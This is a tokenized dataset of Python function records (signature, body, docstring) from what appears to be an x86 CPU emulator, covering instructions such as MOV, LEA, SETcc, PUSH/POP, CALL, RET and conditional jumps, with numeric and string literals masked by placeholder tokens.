{"signature": "@instruction<EOL><INDENT>def LFS(cpu, dest, src):<DEDENT>", "body": "raise NotImplementedError(\"<STR_LIT>\")<EOL>", "docstring": "Not implemented.", "id": "f16975:c2:m63"}
{"signature": "@instruction<EOL><INDENT>def LGS(cpu, dest, src):<DEDENT>", "body": "raise NotImplementedError(\"<STR_LIT>\")<EOL>", "docstring": "Not implemented.", "id": "f16975:c2:m64"}
{"signature": "@instruction<EOL><INDENT>def LSS(cpu, dest, src):<DEDENT>", "body": "raise NotImplementedError(\"<STR_LIT>\")<EOL>", "docstring": "Loads far pointer.\n\nLoads a far pointer (segment selector and offset) from the second operand\n(source operand) into a segment register and the first operand (destination\noperand). The source operand specifies a 48-bit or a 32-bit pointer in\nmemory depending on the current setting of the operand-size attribute\n(32 bits or 16 bits, respectively). The instruction opcode and the destination\noperand specify a segment register/general-purpose register pair. The\n16-bit segment selector from the source operand is loaded into the segment\nregister specified with the opcode (DS, SS, ES, FS, or GS). The 32-bit\nor 16-bit offset is loaded into the register specified with the destination\noperand.\nIn 64-bit mode, the instruction's default operation size is 32 bits. Using a\nREX prefix in the form of REX.W promotes operation to specify a source operand\nreferencing an 80-bit pointer (16-bit selector, 64-bit offset) in memory.\nIf one of these instructions is executed in protected mode, additional\ninformation from the segment descriptor pointed to by the segment selector\nin the source operand is loaded in the hidden part of the selected segment\nregister.\nAlso in protected mode, a null selector (values 0000 through 0003) can\nbe loaded into DS, ES, FS, or GS registers without causing a protection\nexception. (Any subsequent reference to a segment whose corresponding\nsegment register is loaded with a null selector, causes a general-protection\nexception (#GP) and no memory reference to the segment occurs.)::\n\n        IF ProtectedMode\n        THEN IF SS is loaded\n            THEN IF SegementSelector  =  null\n                THEN #GP(0);\n                FI;\n            ELSE IF Segment selector index is not within descriptor table limits\n                OR Segment selector RPL  CPL\n                OR Access rights indicate nonwritable data segment\n                OR DPL  CPL\n                THEN #GP(selector);\n                FI;\n            ELSE IF Segment marked not present\n                THEN #SS(selector);\n                FI;\n                SS  =  SegmentSelector(SRC);\n                SS  =  SegmentDescriptor([SRC]);\n            ELSE IF DS, ES, FS, or GS is loaded with non-null segment selector\n                THEN IF Segment selector index is not within descriptor table limits\n                    OR Access rights indicate segment neither data nor readable code segment\n                    OR Segment is data or nonconforming-code segment\n                    AND both RPL and CPL > DPL)\n                    THEN #GP(selector);\n                    FI;\n                ELSE IF Segment marked not present\n                    THEN #NP(selector);\n                    FI;\n                    SegmentRegister  =  SegmentSelector(SRC) AND RPL;\n                    SegmentRegister  =  SegmentDescriptor([SRC]);\n                ELSE IF DS, ES, FS, or GS is loaded with a null selector:\n                    SegmentRegister  =  NullSelector;\n                    SegmentRegister(DescriptorValidBit)  =  0; (*hidden flag; not accessible by software*)\n                FI;\n            FI;\n            IF (Real-Address or Virtual-8086 Mode)\n            THEN\n                SegmentRegister  =  SegmentSelector(SRC);\n            FI;\n            DEST  =  Offset(SRC);", "id": "f16975:c2:m65"}
{"signature": "@instruction<EOL><INDENT>def LEA(cpu, dest, src):<DEDENT>", "body": "dest.write(Operators.EXTRACT(src.address(), <NUM_LIT:0>, dest.size))<EOL>", "docstring": "Loads effective address.\n\nComputes the effective address of the second operand (the source operand) and stores it in the first operand\n(destination operand). The source operand is a memory address (offset part) specified with one of the processors\naddressing modes; the destination operand is a general-purpose register. The address-size and operand-size\nattributes affect the action performed by this instruction. The operand-size\nattribute of the instruction is determined by the chosen register; the address-size attribute is determined by the\nattribute of the code segment.\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m66"}
{"signature": "@instruction<EOL><INDENT>def MOV(cpu, dest, src, *rest):  <DEDENT>", "body": "dest.write(src.read())<EOL>", "docstring": "Move.\n\nCopies the second operand (source operand) to the first operand (destination\noperand). The source operand can be an immediate value, general-purpose\nregister, segment register, or memory location; the destination register\ncan be a general-purpose register, segment register, or memory location.\nBoth operands must be the same size, which can be a byte, a word, or a\ndoubleword.\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.\n:param rest: workaround for a capstone bug, should never be provided", "id": "f16975:c2:m67"}
{"signature": "@instruction<EOL><INDENT>def MOVBE(cpu, dest, src):<DEDENT>", "body": "size = dest.size<EOL>arg0 = dest.read()<EOL>temp = <NUM_LIT:0><EOL>for pos in range(<NUM_LIT:0>, size, <NUM_LIT:8>):<EOL><INDENT>temp = (temp << <NUM_LIT:8>) | (arg0 & <NUM_LIT>)<EOL>arg0 = arg0 >> <NUM_LIT:8><EOL><DEDENT>dest.write(arg0)<EOL>", "docstring": "Moves data after swapping bytes.\n\nPerforms a byte swap operation on the data copied from the second operand (source operand) and store the result\nin the first operand (destination operand). The source operand can be a general-purpose register, or memory location; the destination register can be a general-purpose register, or a memory location; however, both operands can\nnot be registers, and only one operand can be a memory location. Both operands must be the same size, which can\nbe a word, a doubleword or quadword.\nThe MOVBE instruction is provided for swapping the bytes on a read from memory or on a write to memory; thus\nproviding support for converting little-endian values to big-endian format and vice versa.\nIn 64-bit mode, the instruction's default operation size is 32 bits. Use of the REX.R prefix permits access to additional registers (R8-R15). Use of the REX.W prefix promotes operation to 64 bits::\n\n        TEMP = SRC\n        IF ( OperandSize = 16)\n        THEN\n            DEST[7:0] = TEMP[15:8];\n            DEST[15:8] = TEMP[7:0];\n        ELSE IF ( OperandSize = 32)\n            DEST[7:0] = TEMP[31:24];\n            DEST[15:8] = TEMP[23:16];\n            DEST[23:16] = TEMP[15:8];\n            DEST[31:23] = TEMP[7:0];\n        ELSE IF ( OperandSize = 64)\n            DEST[7:0] = TEMP[63:56];\n            DEST[15:8] = TEMP[55:48];\n            DEST[23:16] = TEMP[47:40];\n            DEST[31:24] = TEMP[39:32];\n            DEST[39:32] = TEMP[31:24];\n            DEST[47:40] = TEMP[23:16];\n            DEST[55:48] = TEMP[15:8];\n            DEST[63:56] = TEMP[7:0];\n        FI;\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m68"}
{"signature": "@instruction<EOL><INDENT>def SAHF(cpu):<DEDENT>", "body": "eflags_size = <NUM_LIT:32><EOL>val = cpu.AH & <NUM_LIT> | <NUM_LIT><EOL>cpu.EFLAGS = Operators.ZEXTEND(val, eflags_size)<EOL>", "docstring": "Stores AH into flags.\n\nLoads the SF, ZF, AF, PF, and CF flags of the EFLAGS register with values\nfrom the corresponding bits in the AH register (bits 7, 6, 4, 2, and 0,\nrespectively). Bits 1, 3, and 5 of register AH are ignored; the corresponding\nreserved bits (1, 3, and 5) in the EFLAGS register remain as shown below::\n\n        EFLAGS(SF:ZF:0:AF:0:PF:1:CF)  =  AH;\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m69"}
{"signature": "@instruction<EOL><INDENT>def SETA(cpu, dest):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, Operators.OR(cpu.CF, cpu.ZF) == False, <NUM_LIT:1>, <NUM_LIT:0>))<EOL>", "docstring": "Sets byte if above.\n\nSets the destination operand to 0 or 1 depending on the settings of the status flags (CF, SF, OF, ZF, and PF, 1, 0) in the\nEFLAGS register. The destination operand points to a byte register or a byte in memory. The condition code suffix\n(cc, 1, 0) indicates the condition being tested for::\n        IF condition\n        THEN\n            DEST = 1;\n        ELSE\n            DEST = 0;\n        FI;\n\n:param cpu: current CPU.\n:param dest: destination operand.", "id": "f16975:c2:m70"}
{"signature": "@instruction<EOL><INDENT>def SETAE(cpu, dest):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, cpu.CF == False, <NUM_LIT:1>, <NUM_LIT:0>))<EOL>", "docstring": "Sets byte if above or equal.\n\n:param cpu: current CPU.\n:param dest: destination operand.", "id": "f16975:c2:m71"}
{"signature": "@instruction<EOL><INDENT>def SETB(cpu, dest):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, cpu.CF, <NUM_LIT:1>, <NUM_LIT:0>))<EOL>", "docstring": "Sets byte if below.\n\n:param cpu: current CPU.\n:param dest: destination operand.", "id": "f16975:c2:m72"}
{"signature": "@instruction<EOL><INDENT>def SETBE(cpu, dest):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, Operators.OR(cpu.CF, cpu.ZF), <NUM_LIT:1>, <NUM_LIT:0>))<EOL>", "docstring": "Sets byte if below or equal.\n\n:param cpu: current CPU.\n:param dest: destination operand.", "id": "f16975:c2:m73"}
{"signature": "@instruction<EOL><INDENT>def SETC(cpu, dest):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, cpu.CF, <NUM_LIT:1>, <NUM_LIT:0>))<EOL>", "docstring": "Sets if carry.\n\n:param cpu: current CPU.\n:param dest: destination operand.", "id": "f16975:c2:m74"}
{"signature": "@instruction<EOL><INDENT>def SETE(cpu, dest):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, cpu.ZF, <NUM_LIT:1>, <NUM_LIT:0>))<EOL>", "docstring": "Sets byte if equal.\n\n:param cpu: current CPU.\n:param dest: destination operand.", "id": "f16975:c2:m75"}
{"signature": "@instruction<EOL><INDENT>def SETG(cpu, dest):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, Operators.AND(cpu.ZF == False, cpu.SF == cpu.OF), <NUM_LIT:1>, <NUM_LIT:0>))<EOL>", "docstring": "Sets byte if greater.\n\n:param cpu: current CPU.\n:param dest: destination operand.", "id": "f16975:c2:m76"}
{"signature": "@instruction<EOL><INDENT>def SETGE(cpu, dest):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, cpu.SF == cpu.OF, <NUM_LIT:1>, <NUM_LIT:0>))<EOL>", "docstring": "Sets byte if greater or equal.\n\n:param cpu: current CPU.\n:param dest: destination operand.", "id": "f16975:c2:m77"}
{"signature": "@instruction<EOL><INDENT>def SETL(cpu, dest):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, cpu.SF != cpu.OF, <NUM_LIT:1>, <NUM_LIT:0>))<EOL>", "docstring": "Sets byte if less.\n\n:param cpu: current CPU.\n:param dest: destination operand.", "id": "f16975:c2:m78"}
{"signature": "@instruction<EOL><INDENT>def SETLE(cpu, dest):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, Operators.OR(cpu.ZF, cpu.SF != cpu.OF), <NUM_LIT:1>, <NUM_LIT:0>))<EOL>", "docstring": "Sets byte if less or equal.\n\n:param cpu: current CPU.\n:param dest: destination operand.", "id": "f16975:c2:m79"}
{"signature": "@instruction<EOL><INDENT>def SETNA(cpu, dest):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, Operators.OR(cpu.CF, cpu.ZF), <NUM_LIT:1>, <NUM_LIT:0>))<EOL>", "docstring": "Sets byte if not above.\n\n:param cpu: current CPU.\n:param dest: destination operand.", "id": "f16975:c2:m80"}
{"signature": "@instruction<EOL><INDENT>def SETNAE(cpu, dest):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, cpu.CF, <NUM_LIT:1>, <NUM_LIT:0>))<EOL>", "docstring": "Sets byte if not above or equal.\n\n:param cpu: current CPU.\n:param dest: destination operand.", "id": "f16975:c2:m81"}
{"signature": "@instruction<EOL><INDENT>def SETNB(cpu, dest):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, cpu.CF == False, <NUM_LIT:1>, <NUM_LIT:0>))<EOL>", "docstring": "Sets byte if not below.\n\n:param cpu: current CPU.\n:param dest: destination operand.", "id": "f16975:c2:m82"}
{"signature": "@instruction<EOL><INDENT>def SETNBE(cpu, dest):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, Operators.AND(cpu.CF == False, cpu.ZF == False), <NUM_LIT:1>, <NUM_LIT:0>))<EOL>", "docstring": "Sets byte if not below or equal.\n\n:param cpu: current CPU.\n:param dest: destination operand.", "id": "f16975:c2:m83"}
{"signature": "@instruction<EOL><INDENT>def SETNC(cpu, dest):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, cpu.CF == False, <NUM_LIT:1>, <NUM_LIT:0>))<EOL>", "docstring": "Sets byte if not carry.\n\n:param cpu: current CPU.\n:param dest: destination operand.", "id": "f16975:c2:m84"}
{"signature": "@instruction<EOL><INDENT>def SETNE(cpu, dest):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, cpu.ZF == False, <NUM_LIT:1>, <NUM_LIT:0>))<EOL>", "docstring": "Sets byte if not equal.\n\n:param cpu: current CPU.\n:param dest: destination operand.", "id": "f16975:c2:m85"}
{"signature": "@instruction<EOL><INDENT>def SETNG(cpu, dest):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, Operators.OR(cpu.ZF, cpu.SF != cpu.OF), <NUM_LIT:1>, <NUM_LIT:0>))<EOL>", "docstring": "Sets byte if not greater.\n\n:param cpu: current CPU.\n:param dest: destination operand.", "id": "f16975:c2:m86"}
{"signature": "@instruction<EOL><INDENT>def SETNGE(cpu, dest):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, cpu.SF != cpu.OF, <NUM_LIT:1>, <NUM_LIT:0>))<EOL>", "docstring": "Sets if not greater or equal.\n\n:param cpu: current CPU.\n:param dest: destination operand.", "id": "f16975:c2:m87"}
{"signature": "@instruction<EOL><INDENT>def SETNL(cpu, dest):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, cpu.SF == cpu.OF, <NUM_LIT:1>, <NUM_LIT:0>))<EOL>", "docstring": "Sets byte if not less.\n\n:param cpu: current CPU.\n:param dest: destination operand.", "id": "f16975:c2:m88"}
{"signature": "@instruction<EOL><INDENT>def SETNLE(cpu, dest):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, Operators.AND(cpu.ZF == False, cpu.SF == cpu.OF), <NUM_LIT:1>, <NUM_LIT:0>))<EOL>", "docstring": "Sets byte if not less or equal.\n\n:param cpu: current CPU.\n:param dest: destination operand.", "id": "f16975:c2:m89"}
{"signature": "@instruction<EOL><INDENT>def SETNO(cpu, dest):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, cpu.OF == False, <NUM_LIT:1>, <NUM_LIT:0>))<EOL>", "docstring": "Sets byte if not overflow.\n\n:param cpu: current CPU.\n:param dest: destination operand.", "id": "f16975:c2:m90"}
{"signature": "@instruction<EOL><INDENT>def SETNP(cpu, dest):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, cpu.PF == False, <NUM_LIT:1>, <NUM_LIT:0>))<EOL>", "docstring": "Sets byte if not parity.\n\n:param cpu: current CPU.\n:param dest: destination operand.", "id": "f16975:c2:m91"}
{"signature": "@instruction<EOL><INDENT>def SETNS(cpu, dest):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, cpu.SF == False, <NUM_LIT:1>, <NUM_LIT:0>))<EOL>", "docstring": "Sets byte if not sign.\n\n:param cpu: current CPU.\n:param dest: destination operand.", "id": "f16975:c2:m92"}
{"signature": "@instruction<EOL><INDENT>def SETNZ(cpu, dest):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, cpu.ZF == False, <NUM_LIT:1>, <NUM_LIT:0>))<EOL>", "docstring": "Sets byte if not zero.\n\n:param cpu: current CPU.\n:param dest: destination operand.", "id": "f16975:c2:m93"}
{"signature": "@instruction<EOL><INDENT>def SETO(cpu, dest):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, cpu.OF, <NUM_LIT:1>, <NUM_LIT:0>))<EOL>", "docstring": "Sets byte if overflow.\n\n:param cpu: current CPU.\n:param dest: destination operand.", "id": "f16975:c2:m94"}
{"signature": "@instruction<EOL><INDENT>def SETP(cpu, dest):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, cpu.PF, <NUM_LIT:1>, <NUM_LIT:0>))<EOL>", "docstring": "Sets byte if parity.\n\n:param cpu: current CPU.\n:param dest: destination operand.", "id": "f16975:c2:m95"}
{"signature": "@instruction<EOL><INDENT>def SETPE(cpu, dest):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, cpu.PF, <NUM_LIT:1>, <NUM_LIT:0>))<EOL>", "docstring": "Sets byte if parity even.\n\n:param cpu: current CPU.\n:param dest: destination operand.", "id": "f16975:c2:m96"}
{"signature": "@instruction<EOL><INDENT>def SETPO(cpu, dest):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, cpu.PF == False, <NUM_LIT:1>, <NUM_LIT:0>))<EOL>", "docstring": "Sets byte if parity odd.\n\n:param cpu: current CPU.\n:param dest: destination operand.", "id": "f16975:c2:m97"}
{"signature": "@instruction<EOL><INDENT>def SETS(cpu, dest):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, cpu.SF, <NUM_LIT:1>, <NUM_LIT:0>))<EOL>", "docstring": "Sets byte if sign.\n\n:param cpu: current CPU.\n:param dest: destination operand.", "id": "f16975:c2:m98"}
{"signature": "@instruction<EOL><INDENT>def SETZ(cpu, dest):<DEDENT>", "body": "dest.write(Operators.ITEBV(dest.size, cpu.ZF, <NUM_LIT:1>, <NUM_LIT:0>))<EOL>", "docstring": "Sets byte if zero.\n\n:param cpu: current CPU.\n:param dest: destination operand.", "id": "f16975:c2:m99"}
{"signature": "@instruction<EOL><INDENT>def XCHG(cpu, dest, src):<DEDENT>", "body": "temp = dest.read()<EOL>dest.write(src.read())<EOL>src.write(temp)<EOL>", "docstring": "Exchanges register/memory with register.\n\nExchanges the contents of the destination (first) and source (second)\noperands. The operands can be two general-purpose registers or a register\nand a memory location. If a memory operand is referenced, the processor's\nlocking protocol is automatically implemented for the duration of the\nexchange operation, regardless of the presence or absence of the LOCK\nprefix or of the value of the IOPL.\nThis instruction is useful for implementing semaphores or similar data\nstructures for process synchronization.\nThe XCHG instruction can also be used instead of the BSWAP instruction\nfor 16-bit operands::\n\n        TEMP  =  DEST\n        DEST  =  SRC\n        SRC  =  TEMP\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m100"}
{"signature": "@instruction<EOL><INDENT>def LEAVE(cpu):<DEDENT>", "body": "cpu.STACK = cpu.FRAME<EOL>cpu.FRAME = cpu.pop(cpu.address_bit_size)<EOL>", "docstring": "High level procedure exit.\n\nReleases the stack frame set up by an earlier ENTER instruction. The\nLEAVE instruction copies the frame pointer (in the EBP register) into\nthe stack pointer register (ESP), which releases the stack space allocated\nto the stack frame. The old frame pointer (the frame pointer for the calling\nprocedure that was saved by the ENTER instruction) is then popped from\nthe stack into the EBP register, restoring the calling procedure's stack\nframe.\nA RET instruction is commonly executed following a LEAVE instruction\nto return program control to the calling procedure::\n\n        IF Stackaddress_bit_size  =  32\n        THEN\n            ESP  =  EBP;\n        ELSE (* Stackaddress_bit_size  =  16*)\n            SP  =  BP;\n        FI;\n        IF OperandSize  =  32\n        THEN\n            EBP  =  Pop();\n        ELSE (* OperandSize  =  16*)\n            BP  =  Pop();\n        FI;\n\n:param cpu: current CPU.", "id": "f16975:c2:m101"}
{"signature": "@instruction<EOL><INDENT>def POP(cpu, dest):<DEDENT>", "body": "dest.write(cpu.pop(dest.size))<EOL>", "docstring": "Pops a value from the stack.\n\nLoads the value from the top of the stack to the location specified\nwith the destination operand and then increments the stack pointer.\n\n:param cpu: current CPU.\n:param dest: destination operand.", "id": "f16975:c2:m102"}
{"signature": "@instruction<EOL><INDENT>def PUSH(cpu, src):<DEDENT>", "body": "<EOL>size = src.size<EOL>v = src.read()<EOL>if size != <NUM_LIT:64> and size != cpu.address_bit_size // <NUM_LIT:2>:<EOL><INDENT>v = Operators.SEXTEND(v, size, cpu.address_bit_size)<EOL>size = cpu.address_bit_size<EOL><DEDENT>cpu.push(v, size)<EOL>", "docstring": "Pushes a value onto the stack.\n\nDecrements the stack pointer and then stores the source operand on the top of the stack.\n\n:param cpu: current CPU.\n:param src: source operand.", "id": "f16975:c2:m103"}
{"signature": "@instruction<EOL><INDENT>def POPF(cpu):<DEDENT>", "body": "mask = (<NUM_LIT> |<EOL><NUM_LIT> |<EOL><NUM_LIT> |<EOL><NUM_LIT> |<EOL><NUM_LIT> |<EOL><NUM_LIT> |<EOL><NUM_LIT>)<EOL>val = cpu.pop(<NUM_LIT:16>)<EOL>eflags_size = <NUM_LIT:32><EOL>cpu.EFLAGS = Operators.ZEXTEND(val & mask, eflags_size)<EOL>", "docstring": "Pops stack into EFLAGS register.\n\n:param cpu: current CPU.", "id": "f16975:c2:m104"}
{"signature": "@instruction<EOL><INDENT>def POPFD(cpu):<DEDENT>", "body": "mask = <NUM_LIT> | <NUM_LIT> | <NUM_LIT> | <NUM_LIT> | <NUM_LIT> | <NUM_LIT> | <NUM_LIT><EOL>cpu.EFLAGS = cpu.pop(<NUM_LIT:32>) & mask<EOL>", "docstring": "Pops stack into EFLAGS register.\n\n:param cpu: current CPU.", "id": "f16975:c2:m105"}
{"signature": "@instruction<EOL><INDENT>def POPFQ(cpu):<DEDENT>", "body": "mask = <NUM_LIT> | <NUM_LIT> | <NUM_LIT> | <NUM_LIT> | <NUM_LIT> | <NUM_LIT> | <NUM_LIT><EOL>cpu.EFLAGS = (cpu.EFLAGS & ~mask) | cpu.pop(<NUM_LIT:64>) & mask<EOL>", "docstring": "Pops stack into EFLAGS register.\n\n:param cpu: current CPU.", "id": "f16975:c2:m106"}
{"signature": "@instruction<EOL><INDENT>def PUSHF(cpu):<DEDENT>", "body": "cpu.push(cpu.EFLAGS, <NUM_LIT:16>)<EOL>", "docstring": "Pushes FLAGS register onto the stack.\n\n:param cpu: current CPU.", "id": "f16975:c2:m107"}
{"signature": "@instruction<EOL><INDENT>def PUSHFD(cpu):<DEDENT>", "body": "cpu.push(cpu.EFLAGS, <NUM_LIT:32>)<EOL>", "docstring": "Pushes EFLAGS register onto the stack.\n\n:param cpu: current CPU.", "id": "f16975:c2:m108"}
{"signature": "@instruction<EOL><INDENT>def PUSHFQ(cpu):<DEDENT>", "body": "cpu.push(cpu.RFLAGS, <NUM_LIT:64>)<EOL>", "docstring": "Pushes RFLAGS register onto the stack.\n\n:param cpu: current CPU.", "id": "f16975:c2:m109"}
{"signature": "@instruction<EOL><INDENT>def INT(cpu, op0):<DEDENT>", "body": "if op0.read() != <NUM_LIT>:<EOL><INDENT>logger.warning(\"<STR_LIT>\")<EOL><DEDENT>raise Interruption(op0.read())<EOL>", "docstring": "Calls to interrupt procedure.\n\nThe INT n instruction generates a call to the interrupt or exception handler specified\nwith the destination operand. The INT n instruction is the  general mnemonic for executing\na software-generated call to an interrupt handler. The INTO instruction is a special\nmnemonic for calling overflow exception (#OF), interrupt vector number 4. The overflow\ninterrupt checks the OF flag in the EFLAGS register and calls the overflow interrupt handler\nif the OF flag is set to 1.\n\n:param cpu: current CPU.\n:param op0: destination operand.", "id": "f16975:c2:m110"}
{"signature": "@instruction<EOL><INDENT>def INT3(cpu):<DEDENT>", "body": "raise Interruption(<NUM_LIT:3>)<EOL>", "docstring": "Breakpoint\n\n:param cpu: current CPU.", "id": "f16975:c2:m111"}
{"signature": "@instruction<EOL><INDENT>def CALL(cpu, op0):<DEDENT>", "body": "<EOL>proc = op0.read()<EOL>cpu.push(cpu.PC, cpu.address_bit_size)<EOL>cpu.PC = proc<EOL>", "docstring": "Procedure call.\n\nSaves procedure linking information on the stack and branches to the called procedure specified using the target\noperand. The target operand specifies the address of the first instruction in the called procedure. The operand can\nbe an immediate value, a general-purpose register, or a memory location.\n\n:param cpu: current CPU.\n:param op0: target operand.", "id": "f16975:c2:m112"}
{"signature": "@instruction<EOL><INDENT>def RET(cpu, *operands):<DEDENT>", "body": "<EOL>N = <NUM_LIT:0><EOL>if len(operands) > <NUM_LIT:0>:<EOL><INDENT>N = operands[<NUM_LIT:0>].read()<EOL><DEDENT>cpu.PC = cpu.pop(cpu.address_bit_size)<EOL>cpu.STACK += N<EOL>", "docstring": "Returns from procedure.\n\nTransfers program control to a return address located on the top of\nthe stack. The address is usually placed on the stack by a CALL instruction,\nand the return is made to the instruction that follows the CALL instruction.\nThe optional source operand specifies the number of stack bytes to be\nreleased after the return address is popped; the default is none.\n\n:param cpu: current CPU.\n:param operands: variable operands list.", "id": "f16975:c2:m113"}
{"signature": "@instruction<EOL><INDENT>def JA(cpu, target):<DEDENT>", "body": "cpu.PC = Operators.ITEBV(cpu.address_bit_size, Operators.AND(cpu.CF == False, cpu.ZF == False), target.read(), cpu.PC)<EOL>", "docstring": "Jumps short if above.\n\n:param cpu: current CPU.\n:param target: destination operand.", "id": "f16975:c2:m114"}
{"signature": "@instruction<EOL><INDENT>def JAE(cpu, target):<DEDENT>", "body": "cpu.PC = Operators.ITEBV(cpu.address_bit_size, cpu.CF == False, target.read(), cpu.PC)<EOL>", "docstring": "Jumps short if above or equal.\n\n:param cpu: current CPU.\n:param target: destination operand.", "id": "f16975:c2:m115"}
{"signature": "@instruction<EOL><INDENT>def JB(cpu, target):<DEDENT>", "body": "cpu.PC = Operators.ITEBV(cpu.address_bit_size, cpu.CF == True, target.read(), cpu.PC)<EOL>", "docstring": "Jumps short if below.\n\n:param cpu: current CPU.\n:param target: destination operand.", "id": "f16975:c2:m116"}
{"signature": "@instruction<EOL><INDENT>def JBE(cpu, target):<DEDENT>", "body": "cpu.PC = Operators.ITEBV(cpu.address_bit_size, Operators.OR(cpu.CF, cpu.ZF), target.read(), cpu.PC)<EOL>", "docstring": "Jumps short if below or equal.\n\n:param cpu: current CPU.\n:param target: destination operand.", "id": "f16975:c2:m117"}
{"signature": "@instruction<EOL><INDENT>def JC(cpu, target):<DEDENT>", "body": "cpu.PC = Operators.ITEBV(cpu.address_bit_size, cpu.CF, target.read(), cpu.PC)<EOL>", "docstring": "Jumps short if carry.\n\n:param cpu: current CPU.\n:param target: destination operand.", "id": "f16975:c2:m118"}
{"signature": "@instruction<EOL><INDENT>def JCXZ(cpu, target):<DEDENT>", "body": "cpu.PC = Operators.ITEBV(cpu.address_bit_size, cpu.CX == <NUM_LIT:0>, target.read(), cpu.PC)<EOL>", "docstring": "Jumps short if CX register is 0.\n\n:param cpu: current CPU.\n:param target: destination operand.", "id": "f16975:c2:m119"}
{"signature": "@instruction<EOL><INDENT>def JECXZ(cpu, target):<DEDENT>", "body": "cpu.PC = Operators.ITEBV(cpu.address_bit_size, cpu.ECX == <NUM_LIT:0>, target.read(), cpu.PC)<EOL>", "docstring": "Jumps short if ECX register is 0.\n\n:param cpu: current CPU.\n:param target: destination operand.", "id": "f16975:c2:m120"}
{"signature": "@instruction<EOL><INDENT>def JRCXZ(cpu, target):<DEDENT>", "body": "cpu.PC = Operators.ITEBV(cpu.address_bit_size, cpu.RCX == <NUM_LIT:0>, target.read(), cpu.PC)<EOL>", "docstring": "Jumps short if RCX register is 0.\n\n:param cpu: current CPU.\n:param target: destination operand.", "id": "f16975:c2:m121"}
{"signature": "@instruction<EOL><INDENT>def JE(cpu, target):<DEDENT>", "body": "cpu.PC = Operators.ITEBV(cpu.address_bit_size, cpu.ZF, target.read(), cpu.PC)<EOL>", "docstring": "Jumps short if equal.\n\n:param cpu: current CPU.\n:param target: destination operand.", "id": "f16975:c2:m122"}
{"signature": "@instruction<EOL><INDENT>def JG(cpu, target):<DEDENT>", "body": "cpu.PC = Operators.ITEBV(cpu.address_bit_size, Operators.AND(cpu.ZF == False, cpu.SF == cpu.OF), target.read(), cpu.PC)<EOL>", "docstring": "Jumps short if greater.\n\n:param cpu: current CPU.\n:param target: destination operand.", "id": "f16975:c2:m123"}
{"signature": "@instruction<EOL><INDENT>def JGE(cpu, target):<DEDENT>", "body": "cpu.PC = Operators.ITEBV(cpu.address_bit_size, (cpu.SF == cpu.OF), target.read(), cpu.PC)<EOL>", "docstring": "Jumps short if greater or equal.\n\n:param cpu: current CPU.\n:param target: destination operand.", "id": "f16975:c2:m124"}
{"signature": "@instruction<EOL><INDENT>def JL(cpu, target):<DEDENT>", "body": "cpu.PC = Operators.ITEBV(cpu.address_bit_size, (cpu.SF != cpu.OF), target.read(), cpu.PC)<EOL>", "docstring": "Jumps short if less.\n\n:param cpu: current CPU.\n:param target: destination operand.", "id": "f16975:c2:m125"}
{"signature": "@instruction<EOL><INDENT>def JLE(cpu, target):<DEDENT>", "body": "cpu.PC = Operators.ITEBV(cpu.address_bit_size, Operators.OR(cpu.ZF, cpu.SF != cpu.OF), target.read(), cpu.PC)<EOL>", "docstring": "Jumps short if less or equal.\n\n:param cpu: current CPU.\n:param target: destination operand.", "id": "f16975:c2:m126"}
{"signature": "@instruction<EOL><INDENT>def JNA(cpu, target):<DEDENT>", "body": "cpu.PC = Operators.ITEBV(cpu.address_bit_size, Operators.OR(cpu.CF, cpu.ZF), target.read(), cpu.PC)<EOL>", "docstring": "Jumps short if not above.\n\n:param cpu: current CPU.\n:param target: destination operand.", "id": "f16975:c2:m127"}
{"signature": "@instruction<EOL><INDENT>def JNAE(cpu, target):<DEDENT>", "body": "cpu.PC = Operators.ITEBV(cpu.address_bit_size, cpu.CF, target.read(), cpu.PC)<EOL>", "docstring": "Jumps short if not above or equal.\n\n:param cpu: current CPU.\n:param target: destination operand.", "id": "f16975:c2:m128"}
{"signature": "@instruction<EOL><INDENT>def JNB(cpu, target):<DEDENT>", "body": "cpu.PC = Operators.ITEBV(cpu.address_bit_size, cpu.CF == False, target.read(), cpu.PC)<EOL>", "docstring": "Jumps short if not below.\n\n:param cpu: current CPU.\n:param target: destination operand.", "id": "f16975:c2:m129"}
{"signature": "@instruction<EOL><INDENT>def JNBE(cpu, target):<DEDENT>", "body": "cpu.PC = Operators.ITEBV(cpu.address_bit_size, Operators.AND(cpu.CF == False, cpu.ZF == False), target.read(), cpu.PC)<EOL>", "docstring": "Jumps short if not below or equal.\n\n:param cpu: current CPU.\n:param target: destination operand.", "id": "f16975:c2:m130"}
